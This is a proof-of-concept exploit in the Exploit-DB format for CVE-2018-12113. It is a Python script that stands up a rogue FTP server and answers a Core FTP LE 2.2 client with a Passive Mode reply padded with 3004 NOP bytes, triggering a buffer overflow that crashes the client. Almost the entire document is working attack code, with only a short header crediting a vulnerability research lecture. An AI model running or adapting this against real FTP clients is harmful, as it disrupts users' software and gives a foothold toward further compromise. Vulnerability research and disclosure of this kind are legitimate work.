# Exploit Title: Core FTP LE 2.2 - Buffer Overflow (PoC) # Date: 2018-06-28 # Exploit Author: Berk Cem Göksel # Vendor Homepage: http://www.coreftp.com/ # Software Link: http://www.coreftp.com/download # Version: Core FTP Client LE v2.2 Build 1921 # Tested on: Windows 10 # Category: Dos # CVE : CVE-2018-12113 # coding: utf-8 # Description:] # The vulnerability was discovered during a vulnerability research lecture. # This is meant to be a PoC. #!/usr/bin/env python import socket IP = '0.0.0.0' port = 21 Stack_beginning = 3004 buff = "\x90" * (3004) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((IP, port)) s.listen(20) print("[i] FTP Server started on port: "+str(port)+"\r\n") except: print("[!] Failed to bind the server to port: "+str(port)+"\r\n") while True: conn, addr = s.accept() conn.send('220 Welcome!' + '\r\n') print conn.recv(1024) conn.send('331 OK.\r\n') print conn.recv(1024) conn.send('230 OK.\r\n') print conn.recv(1024) conn.send('215 UNIX Type: L8\r\n') print conn.recv(1024) conn.send('257 "/" is current directory.\r\n') print conn.recv(1024) conn.send('227 Entering Passive Mode (' + buff + ')\r\n') print conn.recv(1024) conn.send('257' + '\r\n')